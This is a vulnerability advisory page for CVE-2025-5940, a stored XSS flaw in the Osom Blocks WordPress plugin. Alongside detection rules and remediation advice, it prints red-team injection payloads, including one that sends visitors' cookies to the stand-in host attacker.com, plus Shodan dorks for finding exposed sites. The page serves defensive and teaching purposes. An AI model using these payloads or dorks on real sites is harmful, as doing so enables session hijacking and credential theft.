☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-5940

CVE-2025-5940 Cross-Site Scripting in Osom blocks
📅 PUBLISHED: 2025-06-27 07:22 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.16%
👁️
0.16% probability
3.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-5940 is a Stored Cross-Site Scripting (XSS) vulnerability in the Osom Blocks – Custom Post Type listing block plugin for WordPress. The flaw exists in all versions up to and including 1.2.1, where the class_name parameter is not properly sanitized or escaped before being stored and later rendered in the browser. An authenticated attacker with at least Contributor-level privileges can inject arbitrary JavaScript or HTML into pages. When any user (including administrators) visits the compromised page, the injected script executes in their browser context, potentially leading to session hijacking, credential theft, or defacement.

This vulnerability is specific to the WordPress ecosystem and does not affect the underlying web server (Apache/Nginx). The plugin is used to create custom post type listing blocks, making it a common target for content injection attacks.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 6.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (Contributor-level)
  • User Interaction: None
  • Scope: Changed (vulnerability impacts resources beyond the vulnerable component)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the ability for authenticated users to inject persistent scripts that execute for all visitors makes this a significant risk in multi-author WordPress sites.

Deep Dive & Mechanics

The vulnerability resides in the class_name parameter of the Osom Blocks plugin. When a user creates or edits a custom post type listing block, the plugin accepts a CSS class name input. Due to insufficient input sanitization and output escaping, an attacker can supply a payload such as:

" onfocus="alert(1)" autofocus="true

This payload is stored in the WordPress database and later rendered in the block’s HTML output without proper escaping. When a victim’s browser loads the page, the injected event handler executes.

The attack flow:

  1. Attacker logs in with Contributor-level (or higher) privileges.
  2. Attacker creates or edits a post/page containing the Osom Blocks block.
  3. Attacker sets the class_name parameter to a malicious XSS payload.
  4. The payload is stored in the database.
  5. Any user visiting the page triggers the script execution.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 1.2.1): The plugin likely outputs the class_name directly into an HTML attribute without escaping:

// Vulnerable: direct output without escaping
echo '<div class="' . $class_name . '">';

Patched Code (hypothetical): A secure version would use WordPress’s esc_attr() function:

// Patched: proper escaping
echo '<div class="' . esc_attr( $class_name ) . '">';

Since no official patch is available, users must manually apply this fix or disable the plugin.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • WordPress instance with Osom Blocks plugin <= 1.2.1
  • Contributor-level account credentials

Exploitation Steps:

  1. Log in to WordPress as a Contributor.
  2. Create a new post or page.
  3. Add the Osom Blocks block.
  4. In the block settings, locate the class_name field.
  5. Inject the following payload:
" onfocus="alert(document.cookie)" autofocus="true
  1. Publish or save the post.
  2. When any user visits the post, the JavaScript executes, displaying the victim’s cookies.

Advanced Payload (session hijacking):

" onfocus="fetch('https://attacker.com/steal?cookie='+document.cookie)" autofocus="true

Blue Team

Detection Steps:

  1. Monitor for posts/pages created by low-privilege users containing suspicious HTML attributes.
  2. Review database entries in wp_postmeta for the class_name field containing event handlers.
  3. Use the detection rules below to identify exploitation attempts.

Mitigation:

  • Disable the Osom Blocks plugin until a patch is released.
  • Restrict Contributor-level access to trusted users only.
  • Implement a Web Application Firewall (WAF) rule to block XSS payloads in the class_name parameter.

Indicators of Compromise (IOCs)

  • File: /wp-content/plugins/osom-blocks/ (entire plugin directory)
  • Database: wp_postmeta entries where meta_key contains class_name and meta_value includes <script> or event handlers like onfocus, onload, onerror.
  • Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server.
  • Logs: WordPress audit logs showing posts created by Contributor users with unusual block settings.

Detection Engineering

YARA Rule

rule CVE_2025_5940_Osom_Blocks_XSS {
    meta:
        description = "Detects stored XSS payloads in Osom Blocks class_name parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-5940"
    strings:
        $payload1 = /class_name["']?\s*[:=]\s*["'][^"']*?(on\w+)=/ nocase
        $payload2 = /class_name["']?\s*[:=]\s*["'][^"']*?<script/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-5940 - Stored XSS in Osom Blocks Plugin
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS attempts via class_name parameter in Osom Blocks plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url|contains: "/wp-admin/admin-ajax.php"
        http.body|contains: "class_name"
        http.body|re: "(on\w+=|<script)"
    condition: selection
falsepositives:
    - Legitimate use of CSS classes with similar patterns (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-5940 - Osom Blocks Stored XSS Attempt"; flow:to_server; content:"class_name"; http_client_body; pcre:"/(on\w+=|<script)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until an official patch is released.
  2. Manually patch by adding esc_attr() around the class_name output in the plugin’s PHP files.
  3. Review and clean any existing posts/pages created by low-privilege users for malicious payloads.

Long-term Measures:

  • Implement a Content Security Policy (CSP) to block inline scripts.
  • Use WordPress security plugins (e.g., Wordfence) to detect XSS attempts.
  • Enforce the principle of least privilege: limit Contributor roles to trusted users only.
  • Monitor for plugin updates and apply patches immediately.

Workaround: If the plugin cannot be disabled, add the following to .htaccess (Apache) or equivalent Nginx rule to block suspicious class_name values:

RewriteEngine On
RewriteCond %{QUERY_STRING} class_name=.*(on\w+=|<script) [NC]
RewriteRule .* - [F,L]

Valters IT
DevSecOps & Cyber Threat Intelligence

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"wp-content/plugins/osom-blocks"
http.html:"osom-blocks" "class_name"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-5940/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.